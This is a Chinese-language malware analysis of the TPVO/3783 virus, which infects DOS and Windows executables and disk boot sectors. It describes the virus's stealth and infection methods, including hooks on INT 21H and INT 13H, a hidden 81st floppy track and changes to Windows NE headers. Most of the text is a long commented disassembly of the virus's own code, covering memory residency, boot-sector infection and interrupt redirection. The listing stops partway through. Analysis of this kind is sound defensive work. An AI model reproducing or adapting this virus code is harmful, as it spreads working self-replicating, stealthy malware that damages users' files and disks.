Tpvo/3783 病毒的分析和防治 - 中国信息安全组织

病毒介绍:

　 TPVO/3783 病毒是一种传染性、隐蔽性都很强的病毒，它的独到之处是可以传染 WINDOWS 文件，使病毒可以在　WINDOWS　执行时驻留内存。
　该病毒传染硬盘、软盘引导区及 WINDOWS、DOS 可执行程序，包括.EXE.COM.OVL.386 等等文件，不传染带覆盖的文件，程序被传染后长度增加 3783 字节，文件日期被
加上 100 年作为传染标记。
　该病毒驻留内存后，用 DIR 命令看不出文件长度的变化，用 INT 13H　读出的磁盘引导记录是正常的，而不是带毒的引导记录，用应用程序读出的带毒文件也都是正常的，
但是由 ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX　七个程序读出的文件却是带毒的，所以被这些压缩程序压进文件包或用 TELIX　通过调制解调器传到其他地方的文件
是带毒的，由此可见该病毒在隐藏和传播上的用心良苦。
　该病毒在传染硬盘主引导区时隐藏于 0 柱面 0 头 5 扇区，传染软盘引导区时隐藏于新格式化的第 81 个磁道，传染文件时附在文件尾部，病毒本身不加密。
当带毒的 WINDOWS 系统运行时，根目录中的虚拟内存文件 386SPART.PAR 属性会变成普通属性，用 DIR 命令可以列出。
病毒分析:

1. 驻留内存及截取中断

　该病毒采用修改内存控制块的方法来驻留内存，如果 UMB 存在，病毒会驻留在 UMB中，该病毒驻留内存后截取 INT 21H 和 INT 13H 中断，来完成对文件和引导区的传染，
在截取 INT 21H 时，该病毒采取了与众不同的方法。下面是 INT 21H 内部片断，在中断程序完成了初始化后，将 AH 中的功能号放在 BX 中再乘 2，再用查表的办法得到相应子
程序的地址，然后用近调用来执行相应子程序，具体见下：
　　．．．
　　FDC8:4198 8ADC　　　　MOV　BL,AH　　　　　；AH 为子功能号
　　FDC8:419A D1E3　　　　SHL　BX,1　　　　　　；放于 BX 中再乘 2
　　．．．
　　FDC8:41EA 2E8B9F9E3E　MOV　BX,CS:[BX+3E9E] ；3E9E 为各功能地址表的基地址
　　FDC8:41EF 36871EEA05　XCHG BX,SS:[05EA]　　；调用地址在 05EA 中
　　FDC8:41F4 368E1EEC05　MOV　DS,SS:[05EC]
　　FDC8:41F9 36FF16EA05　CALL SS:[05EA]　　　；调用相应功能的子程序
　　．．．
病毒在驻留时先截取 INT 2AH，在 INT 2AH 中检测到使用的堆栈为 MSDOS.SYS 堆栈段时，表示中断由 INT 21H 发出，这时由中断返回地址得到 MSDOS.SYS 程序段的段地址，
再查找以上几句指令并将 CALL SS:[05EA] 改为 CALL XXXX:053D 指向病毒代码，在完成修改、传染等功能后再转向原来的 INT 21H 执行。由于这一段代码在 INT 21H 的第一百
多句以后，当使用 DOS=HIGH 参数启动时这一段代码被移到 HMA 中，所以该病毒的截取手段有很大的欺骗性，不但能骗过几乎所有内存监视程序，而且即使用手工反汇编 INT
21H中断程序都不一定能觉察到异常之处。
　在截取 INT 13H 时，病毒先使用未公开中断 INT 2FH 的 1300H 功能来得到 DOS 内部设备驱动程序使用的原始 INT 13H 地址，然后在　BIOS　中随机寻找一个中断号大于
E0H 号的INT XX代码，将这个中断向量指向病毒的 INT 13H服务程序，然后将 DOS 保存的原始INT 13H 地址改成指向 BIOS 中的 INT XX 指令，使得在不同的计算机中指向病毒
程序的中断向量号都不相同。

2. 传染及其他部分

　病毒截取 INT 13H 来传染磁盘的引导区，在进行普通的读写功能时，病毒并不传染，所以磁盘读写速度并不明显减慢，只有在对磁盘的引导区进行读写时，病毒才进行传染。
传染硬盘主引导区时，病毒隐藏在保留磁道 0 柱面 0 头第 5 扇区开始的 8 个扇区中，原引导记录被保存在 0 柱面 0 头第 13 扇区。一般软盘只有 80 个磁道，病毒在传染软
盘引导记录时，先格式化出一个第 81 磁道，再将自身隐藏于第 81 磁道 1 扇区开始的 8个扇区中，原引导记录被保存在第 81 磁道第 9 扇区。当有程序读取引导记录时，病
毒将原引导记录读出送回。
　病毒截取 INT 21H 来完成可执行文件的传染和一些欺骗功能，在 INT 21H 的 11H、12H、4EH、4FH 匹配文件寻找功能中，病毒返回正确的文件长度和时间，在 57H　读写文
件时间功能中，病毒返回正确的文件时间，在 3FH 读文件功能中，如果读到文件被修改的部分，病毒将返回正确的内容，在 40H 写文件功能中，如果写已被传染的文件，病毒
将文件复原，到以后关闭文件时重新传染。结果在应用软件看来，带毒文件没有任何异常之处。
　当执行 INT 21H 的 3DH 打开文件、3EH 关闭文件、43H 文件属性功能、56H 文件改名、4BH 执行文件时，病毒对文件进行传染，传染后病毒附于文件尾部，文件开始指针被
指向病毒入口处。对于.COM 文件，病毒将文件第一句指令改为 JMP XXXX　跳转到病毒入口处，对于普通.EXE 文件，病毒将文件入口指针指向病毒入口处，将堆栈指向病毒尾部
200H处。
　下面详细分析病毒对 WINDOWS 可执行文件的修改，由于 WINDOWS 可执行文件的资料很少见，这里先简单介绍一下 WINDOWS 文件的结构：WINDOWS 文件由 DOS　执行部分和
WINDOWS 执行部分组成，DOS 部分只是简单的打印一句提示信息即退出，WINDOWS　部分以覆盖的方式位于文件后部。文件报头分两部分，第一部分为普通的.EXE 文件报头，第
二部分为 "NE" 新格式可执行报头，有关部分说明如下：
　普通 .EXE 文件报头　18H　字　　　重分配表偏移( WINDOWS 文件必须大于 0040H)
　　　　　　　　　　　 3CH　双字　　"NE" 可执行报头在程序中的偏移
　 "NE" 可执行报头　　 00H　2 字节　"NE" 符号
　　(长 40H 字节)　　　14H　字　　　程序入口 IP
　　　　　　　　　　　 16H　字　　　程序入口段的段地址记录号
　　　　　　　　　　　 18H　双字　　程序初始 SS:SP
　　　　　　　　　　　 1CH　字　　　段地址表中的记录数
　　　　　　　　　　　 22H　字　　　段地址表在程序中的偏移
　　　　　　　　　　　 32H　字节　　段大小的计数单位 (移位值)
　程序中所有的段都由段地址表中的一个记录来描述，包括段在程序中的偏移、段的大小、段的属性、段装入时要分配内存的大小，执行程序时，系统由入口段的记录号查段地
址表得出这个段在程序中的位置和大小，将代码装入内存，再由入口 IP开始执行。段地址表中每个记录占用 8 个字节，格式如下：
　　　　　　　　　　　 00H　字　　　本段在程序中的偏移 (乘以计数单位)
　　　　　　　　　　　 02H　字　　　本段的长度 (单位：字节）
　　　　　　　　　　　 04H　字　　　本段的属性
　　　　　　　　　　　 06H　字　　　要分配的容量 (单位：字节)
　病毒增加了一个段地址表记录来描述病毒代码段属性，在 WINDOWS 文件中，段地址表一般紧接着 "NE" 报头存放，段地址表后面也紧接着其他数据，中间没有多余字节，所
以病毒将整个 "NE" 报头和段地址表前移了 8 字节，然后在空出的 8 字节中写下一个新的段地址表记录，再将程序入口段记录号改到指向这个新的记录，具体改动的数据有：
003CH处的 "NE" 报头偏移减 8，"NE" 报头中 16H 的入口段记录号改为病毒段，1CH 的段地址表记录数加 1，另外将 04H、24H、26H、28H、2AH 中其他相关表的偏移加 8。

2. 病毒源码：

;====================================================================
; DOS 可执行文件入口
;====================================================================
F6C8:0000 0E　　　　　　PUSH　　CS
F6C8:0001 1F　　　　　　POP　　 DS
F6C8:0002 E80000　　　　CALL　　0005 ;重定位
F6C8:0005 5E　　　　　　POP　　 SI
F6C8:0006 83EE05　　　　SUB　　 SI,+05
F6C8:0009 56　　　　　　PUSH　　SI
F6C8:000A 06　　　　　　PUSH　　ES
F6C8:000B B87F18　　　　MOV　　 AX,187F ;检测内存驻留
F6C8:000E BB5344　　　　MOV　　 BX,4453
F6C8:0011 CD21　　　　　INT　　 21　　　(DOS)
F6C8:0013 81FBA187　　　CMP　　 BX,87A1
F6C8:0017 753A　　　　　JNZ　　 0053
F6C8:0019 07　　　　　　POP　　 ES ;已驻留
F6C8:001A 5E　　　　　　POP　　 SI ;执行原程序
F6C8:001B 0E　　　　　　PUSH　　CS
F6C8:001C 1F　　　　　　POP　　 DS
F6C8:001D 8B84870E　　　MOV　　 AX,[SI+0E87]
F6C8:0021 E8880B　　　　CALL　　0BAC
F6C8:0024 740D　　　　　JZ　　　0033 ;.EXE 文件转 0033
F6C8:0026 48　　　　　　DEC　　 AX
F6C8:0027 BF0001　　　　MOV　　 DI,0100 ;恢复 .COM 文件头 3 字节
F6C8:002A 57　　　　　　PUSH　　DI
F6C8:002B FC　　　　　　CLD　　
F6C8:002C AB　　　　　　STOSW　
F6C8:002D 8A84890E　　　MOV　　 AL,[SI+0E89]
F6C8:0031 AA　　　　　　STOSB　
F6C8:0032 C3　　　　　　RET　　 ;执行原 .COM 文件
F6C8:0033 8CC0　　　　　MOV　　 AX,ES ;重定位 .EXE 文件
F6C8:0035 051000　　　　ADD　　 AX,0010
F6C8:0038 0384950E　　　ADD　　 AX,[SI+0E95]
F6C8:003C 8ED0　　　　　MOV　　 SS,AX
F6C8:003E 8BA4970E　　　MOV　　 SP,[SI+0E97]
F6C8:0042 8CC0　　　　　MOV　　 AX,ES
F6C8:0044 051000　　　　ADD　　 AX,0010
F6C8:0047 03849D0E　　　ADD　　 AX,[SI+0E9D]
F6C8:004B 50　　　　　　PUSH　　AX
F6C8:004C FFB49B0E　　　PUSH　　WORD PTR [SI+0E9B]
F6C8:0050 06　　　　　　PUSH　　ES
F6C8:0051 1F　　　　　　POP　　 DS
F6C8:0052 CB　　　　　　RETF　　 ;执行原 .EXE 文件
;=======================================================================
;驻留内存初始化部分 (调用: 0017)
F6C8:0053 8CC0　　　　　MOV　　 AX,ES
F6C8:0055 48　　　　　　DEC　　 AX ;取 MCB
F6C8:0056 E81E00　　　　CALL　　0077 ;取最后一块MCB地址
F6C8:0059 E83200　　　　CALL　　008E ;驻留内存
F6C8:005C 72BB　　　　　JB　　　0019
F6C8:005E 8ED9　　　　　MOV　　 DS,CX ;截取 INT 2AH
F6C8:0060 B85103　　　　MOV　　 AX,0351 ;中断到 CS:0351
F6C8:0063 8706A800　　　XCHG　　AX,[00A8] ;由 INT 2AH 继续引导
F6C8:0067 26　　　　　　ES:
F6C8:0068 A33A04　　　　MOV　　 [043A],AX ;(转 0351)
F6C8:006B 8CC0　　　　　MOV　　 AX,ES
F6C8:006D 8706AA00　　　XCHG　　AX,[00AA]
F6C8:0071 26　　　　　　ES:
F6C8:0072 A33C04　　　　MOV　　 [043C],AX
F6C8:0075 EBA2　　　　　JMP　　 0019 ;执行原程序
;========================================================================
;找最后一块 MCB 地址
;返回 BX = 最后一块MCB段地址
;调用: 0056
F6C8:0077 33FF　　　　　XOR　　 DI,DI
F6C8:0079 8ED8　　　　　MOV　　 DS,AX
F6C8:007B 803D4D　　　　CMP　　 BYTE PTR [DI],4D
F6C8:007E 7405　　　　　JZ　　　0085 ;非最后一块转 0085
F6C8:0080 803D5A　　　　CMP　　 BYTE PTR [DI],5A;最后一块返回
F6C8:0083 7508　　　　　JNZ　　 008D
F6C8:0085 8BD8　　　　　MOV　　 BX,AX
F6C8:0087 034503　　　　ADD　　 AX,[DI+03]
F6C8:008A 40　　　　　　INC　　 AX
F6C8:008B EBEA　　　　　JMP　　 0077 ;AX 为下一块 MCB 地址
F6C8:008D C3　　　　　　RET　　
;=========================================================================
;驻留内存子程序
;调用: 0059
F6C8:008E 8EDB　　　　　MOV　　 DS,BX
F6C8:0090 8B4503　　　　MOV　　 AX,[DI+03]
F6C8:0093 2D3801　　　　SUB　　 AX,0138 ;截取内存 1380H 字节
F6C8:0096 720E　　　　　JB　　　00A6
F6C8:0098 894503　　　　MOV　　 [DI+03],AX
F6C8:009B 03D8　　　　　ADD　　 BX,AX
F6C8:009D 43　　　　　　INC　　 BX
F6C8:009E 8EC3　　　　　MOV　　 ES,BX
F6C8:00A0 B9C70E　　　　MOV　　 CX,0EC7 ;移动病毒 0EC7 字节
F6C8:00A3 F3　　　　　　REPZ ;到内存中
F6C8:00A4 2E　　　　　　CS:
F6C8:00A5 A4　　　　　　MOVSB　
F6C8:00A6 C3　　　　　　RET　　
;=====================================================================
; 引导区代码部分
;=====================================================================
F6C8:00A7 FA　　　　　　CLI　　
F6C8:00A8 33DB　　　　　XOR　　 BX,BX
F6C8:00AA 8ED3　　　　　MOV　　 SS,BX
F6C8:00AC BC007C　　　　MOV　　 SP,7C00
F6C8:00AF 8EC4　　　　　MOV　　 ES,SP ;暂时将病毒读到 7C00:0000
F6C8:00B1 B80802　　　　MOV　　 AX,0208
F6C8:00B4 B90150　　　　MOV　　 CX,5001 ;硬盘为 0005
F6C8:00B7 BA0000　　　　MOV　　 DX,0000 ;软盘为 5001
F6C8:00BA CD13　　　　　INT　　 13　　　(BIOS Disk)
F6C8:00BC 7200　　　　　JB　　　00BE
F6C8:00BE 06　　　　　　PUSH　　ES
F6C8:00BF 68C300　　　　PUSH　　00C3 ;转高端继续执行
F6C8:00C2 CB　　　　　　RETF　　
F6C8:00C3 E82701　　　　CALL　　01ED ;随机生成 INT 13H 地址
F6C8:00C6 830EA800FF　　OR　　　WORD PTR [00A8],FFFF ;????
F6C8:00CB 871E4C00　　　XCHG　　BX,[004C]
F6C8:00CF 2E　　　　　　CS:
F6C8:00D0 891EF800　　　MOV　　 [00F8],BX
F6C8:00D4 8CC0　　　　　MOV　　 AX,ES
F6C8:00D6 87064E00　　　XCHG　　AX,[004E] ;截取 INT 13H
F6C8:00DA 0E　　　　　　PUSH　　CS ;到 CS:00FC
F6C8:00DB 1F　　　　　　POP　　 DS
F6C8:00DC A3FA00　　　　MOV　　 [00FA],AX ;保留原 INT 13H 到 00FA
F6C8:00DF C606FF003C　　MOV　　 BYTE PTR [00FF],3C
F6C8:00E4 C60604013C　　MOV　　 BYTE PTR [0104],3C
F6C8:00E9 C6065805E8　　MOV　　 BYTE PTR [0558],E8
F6C8:00EE CD19　　　　　INT　　 19　　　(BIOS Bootstrap)
;========================================================================
;病毒调用 INT 13H
F6C8:00F0 9C　　　　　　PUSHF　
F6C8:00F1 FA　　　　　　CLI　　
F6C8:00F2 0E　　　　　　PUSH　　CS
F6C8:00F3 E80100　　　　CALL　　00F7
F6C8:00F6 C3　　　　　　RET　　
F6C8:00F7 EA59EC00F0　　JMP　　 F000:EC59
;=========================================================================
; 新 INT 13H 代码部分
;=========================================================================
F6C8:00FC 83C406　　　　ADD　　 SP,+06
F6C8:00FF EB3D　　　　　JMP　　 013E ===> ;本句代码当病毒从 BOOT 区
F6C8:0101 60　　　　　　PUSHA　 ;引入时为 CMP AL,3D
F6C8:0102 1E　　　　　　PUSH　　DS
F6C8:0103 06　　　　　　PUSH　　ES
F6C8:0104 EB23　　　　　JMP　　 0129 ===> ;本句代码当病毒从 BOOT 区
F6C8:0106 6A00　　　　　PUSH　　0000 ;引入时为 CMP AL,23
F6C8:0108 1F　　　　　　POP　　 DS
F6C8:0109 C41EA800　　　LES　　 BX,[00A8]
F6C8:010D 26　　　　　　ES:
F6C8:010E 803FCF　　　　CMP　　 BYTE PTR [BX],CF
F6C8:0111 7514　　　　　JNZ　　 0127 ;INT 2AH 不是 IRET
F6C8:0113 2E　　　　　　CS: ;转 0127 (013B) 执行
F6C8:0114 891E3A04　　　MOV　　 [043A],BX
F6C8:0118 2E　　　　　　CS:
F6C8:0119 8C063C04　　　MOV　　 [043C],ES ;设置 BOOT 引入 INT 2A
F6C8:011D C706A8008603　MOV　　 WORD PTR [00A8],0386 ;到 CS:0386
F6C8:0123 8C0EAA00　　　MOV　　 [00AA],CS
F6C8:0127 EB12　　　　　JMP　　 013B
;===========================================================================
F6C8:0129 B80312　　　　MOV　　 AX,1203
F6C8:012C CD2F　　　　　INT　　 2F　　　(Multiplex)
F6C8:012E 8CD8　　　　　MOV　　 AX,DS
F6C8:0130 3D1001　　　　CMP　　 AX,0110 　===> ;本数据由 039B 填入
F6C8:0133 7406　　　　　JZ　　　013B ;为初始化时 MSDOS.SYS 数据段
F6C8:0135 2E　　　　　　CS:
F6C8:0136 C60604013C　　MOV　　 BYTE PTR [0104],3C
F6C8:013B 07　　　　　　POP　　 ES
F6C8:013C 1F　　　　　　POP　　 DS
F6C8:013D 61　　　　　　POPA　　
;============================================================================
; 新 INT 13H 代码部分
F6C8:013E 80FC02　　　　CMP　　 AH,02
F6C8:0141 72B4　　　　　JB　　　00F7
F6C8:0143 80FC03　　　　CMP　　 AH,03
F6C8:0146 77AF　　　　　JA　　　00F7
F6C8:0148 83F901　　　　CMP　　 CX,+01
F6C8:014B 75AA　　　　　JNZ　　 00F7
F6C8:014D 0AF6　　　　　OR　　　DH,DH
F6C8:014F 75A6　　　　　JNZ　　 00F7
F6C8:0151 80FA80　　　　CMP　　 DL,80 ;不是读引导区
F6C8:0154 77A1　　　　　JA　　　00F7 ;转原 INT 13H
F6C8:0156 E897FF　　　　CALL　　00F0 ;读出引导区
F6C8:0159 7235　　　　　JB　　　0190
F6C8:015B 60　　　　　　PUSHA　
F6C8:015C 1E　　　　　　PUSH　　DS
F6C8:015D 06　　　　　　PUSH　　ES
F6C8:015E 9C　　　　　　PUSHF　
F6C8:015F 06　　　　　　PUSH　　ES
F6C8:0160 8BF3　　　　　MOV　　 SI,BX
F6C8:0162 06　　　　　　PUSH　　ES
F6C8:0163 1F　　　　　　POP　　 DS
F6C8:0164 BF7711　　　　MOV　　 DI,1177
F6C8:0167 0E　　　　　　PUSH　　CS
F6C8:0168 07　　　　　　POP　　 ES
F6C8:0169 B90001　　　　MOV　　 CX,0100 ;保存原引导区到
F6C8:016C F3　　　　　　REPZ ;CS:1177
F6C8:016D A5　　　　　　MOVSW　
F6C8:016E 0E　　　　　　PUSH　　CS
F6C8:016F 1F　　　　　　POP　　 DS
F6C8:0170 BF7711　　　　MOV　　 DI,1177
F6C8:0173 817D468EC4　　CMP　　 WORD PTR [DI+46],C48E
F6C8:0178 07　　　　　　POP　　 ES
F6C8:0179 7518　　　　　JNZ　　 0193 ;未感染转 0193
F6C8:017B B80102　　　　MOV　　 AX,0201 ;已感染则读出
F6C8:017E 8B4D4C　　　　MOV　　 CX,[DI+4C] ;原引导区
F6C8:0181 8A7550　　　　MOV　　 DH,[DI+50]
F6C8:0184 80C108　　　　ADD　　 CL,08
F6C8:0187 9D　　　　　　POPF　　
F6C8:0188 E865FF　　　　CALL　　00F0
F6C8:018B 9C　　　　　　PUSHF　
F6C8:018C 9D　　　　　　POPF　　
F6C8:018D 07　　　　　　POP　　 ES
F6C8:018E 1F　　　　　　POP　　 DS
F6C8:018F 61　　　　　　POPA　　
F6C8:0190 CA0200　　　　RETF　　0002
;=========================================================================
;病毒传染引导区代码部分
F6C8:0193 0E　　　　　　PUSH　　CS
F6C8:0194 07　　　　　　POP　　 ES
F6C8:0195 B90500　　　　MOV　　 CX,0005
F6C8:0198 0AD2　　　　　OR　　　DL,DL
F6C8:019A 7812　　　　　JS　　　01AE ;硬盘转 01AE
F6C8:019C B80A05　　　　MOV　　 AX,050A ;传染软盘引导区部分
F6C8:019F B550　　　　　MOV　　 CH,50 ;格式化第 50H 磁道
F6C8:01A1 32F6　　　　　XOR　　 DH,DH
F6C8:01A3 BB4D0E　　　　MOV　　 BX,0E4D
F6C8:01A6 E847FF　　　　CALL　　00F0
F6C8:01A9 7240　　　　　JB　　　01EB
F6C8:01AB B90150　　　　MOV　　 CX,5001
F6C8:01AE 890EB500　　　MOV　　 [00B5],CX
F6C8:01B2 52　　　　　　PUSH　　DX
F6C8:01B3 80E280　　　　AND　　 DL,80
F6C8:01B6 8916B800　　　MOV　　 [00B8],DX
F6C8:01BA 5A　　　　　　POP　　 DX
F6C8:01BB B80803　　　　MOV　　 AX,0308 ;写病毒到磁盘
F6C8:01BE 33DB　　　　　XOR　　 BX,BX
F6C8:01C0 E82DFF　　　　CALL　　00F0
F6C8:01C3 7226　　　　　JB　　　01EB
F6C8:01C5 B80103　　　　MOV　　 AX,0301 ;保存原引导区
F6C8:01C8 BB7711　　　　MOV　　 BX,1177
F6C8:01CB 80C108　　　　ADD　　 CL,08
F6C8:01CE E81FFF　　　　CALL　　00F0
F6C8:01D1 7218　　　　　JB　　　01EB
F6C8:01D3 C707EB3C　　　MOV　　 WORD PTR [BX],3CEB
F6C8:01D7 BEA700　　　　MOV　　 SI,00A7
F6C8:01DA 8D7F3E　　　　LEA　　 DI,[BX+3E]
F6C8:01DD B91C00　　　　MOV　　 CX,001C
F6C8:01E0 F3　　　　　　REPZ
F6C8:01E1 A4　　　　　　MOVSB　
F6C8:01E2 B80103　　　　MOV　　 AX,0301
F6C8:01E5 B90100　　　　MOV　　 CX,0001
F6C8:01E8 E805FF　　　　CALL　　00F0 ;写病毒到引导区
F6C8:01EB EB9F　　　　　JMP　　 018C ;返回调用处
;========================================================================
;随机生成一个 INT 13H 地址
;调用: 00C3 0369
;有二种方式 1. 在 BIOS 中找一个 > 80号的 INT XX 代码
; 将 INT XX 指向原 INT 13, 再将 INT 13 指向 BIOS 中 INT XX 代码
; 　　2. 在 0000:04FB 中写下 JMP 原 INT 13
; 再将 INT 13 指向 0000:04FB
F6C8:01ED 33F6　　　　　XOR　　 SI,SI
F6C8:01EF B800F0　　　　MOV　　 AX,F000
F6C8:01F2 8ED8　　　　　MOV　　 DS,AX
F6C8:01F4 8EC0　　　　　MOV　　 ES,AX
F6C8:01F6 4E　　　　　　DEC　　 SI
F6C8:01F7 741F　　　　　JZ　　　0218
F6C8:01F9 803CCD　　　　CMP　　 BYTE PTR [SI],CD
F6C8:01FC 75F8　　　　　JNZ　　 01F6 ;找一个 INT 代码
F6C8:01FE 3A4401　　　　CMP　　 AL,[SI+01]
F6C8:0201 73F3　　　　　JNB　　 01F6
F6C8:0203 807C01E0　　　CMP　　 BYTE PTR [SI+01],E0
F6C8:0207 73ED　　　　　JNB　　 01F6 ;小于 INT E0 继续找
F6C8:0209 864401　　　　XCHG　　AL,[SI+01]
F6C8:020C 864401　　　　XCHG　　AL,[SI+01]
F6C8:020F 3A4401　　　　CMP　　 AL,[SI+01] ;保存 INT 号于 AL 中
F6C8:0212 75E2　　　　　JNZ　　 01F6 ;不在 BIOS 中继续找
F6C8:0214 8BDE　　　　　MOV　　 BX,SI ;保存地址于 BX 中
F6C8:0216 EBDE　　　　　JMP　　 01F6
F6C8:0218 8EDE　　　　　MOV　　 DS,SI
F6C8:021A 3C80　　　　　CMP　　 AL,80 ;在 BIOS 中未找到
F6C8:021C 720C　　　　　JB　　　022A ;INT ?? 代码转 022A
F6C8:021E 2E　　　　　　CS:
F6C8:021F C606FE0006　　MOV　　 BYTE PTR [00FE],06 ;ADD SP,6
F6C8:0224 B404　　　　　MOV　　 AH,04 ;丢弃 INT XX 之返回地址
F6C8:0226 F6E4　　　　　MUL　　 AH ;AX 为中断向量表中地址
F6C8:0228 EB14　　　　　JMP　　 023E
F6C8:022A 2E　　　　　　CS:
F6C8:022B C606FE0000　　MOV　　 BYTE PTR [00FE],00
F6C8:0230 6A00　　　　　PUSH　　0000
F6C8:0232 1F　　　　　　POP　　 DS ;在 0000:04FB 中写下
F6C8:0233 1E　　　　　　PUSH　　DS ;代码 JMP CS:00FC
F6C8:0234 07　　　　　　POP　　 ES
F6C8:0235 BBFB04　　　　MOV　　 BX,04FB
F6C8:0238 C607EA　　　　MOV　　 BYTE PTR [BX],EA
F6C8:023B B8FC04　　　　MOV　　 AX,04FC
F6C8:023E 2E　　　　　　CS:
F6C8:023F A34502　　　　MOV　　 [0245],AX
F6C8:0242 EB00　　　　　JMP　　 0244
F6C8:0244 BE0003　　　　MOV　　 SI,0300 ;值由上决定
F6C8:0247 C704FC00　　　MOV　　 WORD PTR [SI],00FC
F6C8:024B 8C4C02　　　　MOV　　 [SI+02],CS ;设新 INT 13H 向量
F6C8:024E C3　　　　　　RET　　 ;到 CS:00FC
;==========================================================================
F6C8:024F 50　　　　　　PUSH　　AX ;不详
F6C8:0250 51　　　　　　PUSH　　CX
F6C8:0251 52　　　　　　PUSH　　DX
F6C8:0252 B91000　　　　MOV　　 CX,0010
F6C8:0255 F7E1　　　　　MUL　　 CX
F6C8:0257 8BCA　　　　　MOV　　 CX,DX
F6C8:0259 92　　　　　　XCHG　　AX,DX
F6C8:025A B80700　　　　MOV　　 AX,0007
F6C8:025D CD31　　　　　INT　　 31　　　(DPMI API)
F6C8:025F 5A　　　　　　POP　　 DX
F6C8:0260 59　　　　　　POP　　 CX
F6C8:0261 58　　　　　　POP　　 AX
F6C8:0262 C3　　　　　　RET　　
;==========================================================================
; WINDOWS 文件开始执行入口
;==========================================================================
F6C8:0263 60　　　　　　PUSHA
F6C8:0264 1E　　　　　　PUSH　　DS
F6C8:0265 06　　　　　　PUSH　　ES
F6C8:0266 E80000　　　　CALL　　0269 ;重定位
F6C8:0269 5E　　　　　　POP　　 SI
F6C8:026A 81EE6902　　　SUB　　 SI,0269
F6C8:026E B87F18　　　　MOV　　 AX,187F ;内存驻留校验
F6C8:0271 BB5344　　　　MOV　　 BX,4453
F6C8:0274 CD21　　　　　INT　　 21　　　(DOS)
F6C8:0276 81FBA187　　　CMP　　 BX,87A1
F6C8:027A 7503　　　　　JNZ　　 027F ;已驻留转 0328
F6C8:027C E9A900　　　　JMP　　 0328
F6C8:027F 33C0　　　　　XOR　　 AX,AX ;
F6C8:0281 B90100　　　　MOV　　 CX,0001
F6C8:0284 CD31　　　　　INT　　 31　　　(DPMI API)
F6C8:0286 93　　　　　　XCHG　　AX,BX
F6C8:0287 B80800　　　　MOV　　 AX,0008
F6C8:028A CD31　　　　　INT　　 31　　　(DPMI API)
F6C8:028C 40　　　　　　INC　　 AX
F6C8:028D B1F2　　　　　MOV　　 CL,F2
F6C8:028F CD31　　　　　INT　　 31　　　(DPMI API)
F6C8:0291 8EDB　　　　　MOV　　 DS,BX
F6C8:0293 B452　　　　　MOV　　 AH,52
F6C8:0295 CD21　　　　　INT　　 21　　　(DOS)
F6C8:0297 26　　　　　　ES:
F6C8:0298 8B47FE　　　　MOV　　 AX,[BX-02]
F6C8:029B 33FF　　　　　XOR　　 DI,DI
F6C8:029D 33D2　　　　　XOR　　 DX,DX
F6C8:029F 8CDB　　　　　MOV　　 BX,DS
F6C8:02A1 E8ABFF　　　　CALL　　024F
F6C8:02A4 803D4D　　　　CMP　　 BYTE PTR [DI],4D
F6C8:02A7 7405　　　　　JZ　　　02AE
F6C8:02A9 803D5A　　　　CMP　　 BYTE PTR [DI],5A
F6C8:02AC 7521　　　　　JNZ　　 02CF
F6C8:02AE 8BE8　　　　　MOV　　 BP,AX
F6C8:02B0 8B4508　　　　MOV　　 AX,[DI+08]
F6C8:02B3 0D2020　　　　OR　　　AX,2020
F6C8:02B6 3D7769　　　　CMP　　 AX,6977
F6C8:02B9 750C　　　　　JNZ　　 02C7
F6C8:02BB 8B450A　　　　MOV　　 AX,[DI+0A]
F6C8:02BE 0C20　　　　　OR　　　AL,20
F6C8:02C0 3D6E00　　　　CMP　　 AX,006E
F6C8:02C3 7502　　　　　JNZ　　 02C7
F6C8:02C5 8BD5　　　　　MOV　　 DX,BP
F6C8:02C7 8BC5　　　　　MOV　　 AX,BP
F6C8:02C9 034503　　　　ADD　　 AX,[DI+03]
F6C8:02CC 40　　　　　　INC　　 AX
F6C8:02CD EBD0　　　　　JMP　　 029F
F6C8:02CF 95　　　　　　XCHG　　AX,BP
F6C8:02D0 E87CFF　　　　CALL　　024F
F6C8:02D3 816D033801　　SUB　　 WORD PTR [DI+03],0138
F6C8:02D8 034503　　　　ADD　　 AX,[DI+03]
F6C8:02DB 40　　　　　　INC　　 AX
F6C8:02DC E870FF　　　　CALL　　024F
F6C8:02DF 8EC3　　　　　MOV　　 ES,BX
F6C8:02E1 95　　　　　　XCHG　　AX,BP
F6C8:02E2 B80A00　　　　MOV　　 AX,000A
F6C8:02E5 8CCB　　　　　MOV　　 BX,CS
F6C8:02E7 CD31　　　　　INT　　 31　　　(DPMI API)
F6C8:02E9 8ED8　　　　　MOV　　 DS,AX
F6C8:02EB B97D0E　　　　MOV　　 CX,0E7D
F6C8:02EE F3　　　　　　REPZ
F6C8:02EF A4　　　　　　MOVSB　
F6C8:02F0 8CDB　　　　　MOV　　 BX,DS
F6C8:02F2 91　　　　　　XCHG　　AX,CX
F6C8:02F3 E859FF　　　　CALL　　024F
F6C8:02F6 B85103　　　　MOV　　 AX,0351
F6C8:02F9 8706A800　　　XCHG　　AX,[00A8]
F6C8:02FD 26　　　　　　ES:
F6C8:02FE A33A04　　　　MOV　　 [043A],AX
F6C8:0301 55　　　　　　PUSH　　BP
F6C8:0302 872EAA00　　　XCHG　　BP,[00AA]
F6C8:0306 26　　　　　　ES:
F6C8:0307 892E3C04　　　MOV　　 [043C],BP
F6C8:030B 5D　　　　　　POP　　 BP
F6C8:030C 92　　　　　　XCHG　　AX,DX
F6C8:030D 0BC0　　　　　OR　　　AX,AX
F6C8:030F 7417　　　　　JZ　　　0328
F6C8:0311 E83BFF　　　　CALL　　024F
F6C8:0314 B83003　　　　MOV　　 AX,0330
F6C8:0317 87061A00　　　XCHG　　AX,[001A]
F6C8:031B 26　　　　　　ES:
F6C8:031C A34D03　　　　MOV　　 [034D],AX
F6C8:031F 872E1C00　　　XCHG　　BP,[001C]
F6C8:0323 26　　　　　　ES:
F6C8:0324 892E4F03　　　MOV　　 [034F],BP
F6C8:0328 07　　　　　　POP　　 ES
F6C8:0329 1F　　　　　　POP　　 DS
F6C8:032A 61　　　　　　POPA　　
F6C8:032B EA0000FFFF　　JMP　　 FFFF:0000
F6C8:0330 50　　　　　　PUSH　　AX
F6C8:0331 1E　　　　　　PUSH　　DS
F6C8:0332 6A00　　　　　PUSH　　0000
F6C8:0334 1F　　　　　　POP　　 DS
F6C8:0335 B88603　　　　MOV　　 AX,0386
F6C8:0338 8706A800　　　XCHG　　AX,[00A8]
F6C8:033C 2E　　　　　　CS:
F6C8:033D A33A04　　　　MOV　　 [043A],AX
F6C8:0340 8CC8　　　　　MOV　　 AX,CS
F6C8:0342 8706AA00　　　XCHG　　AX,[00AA]
F6C8:0346 2E　　　　　　CS:
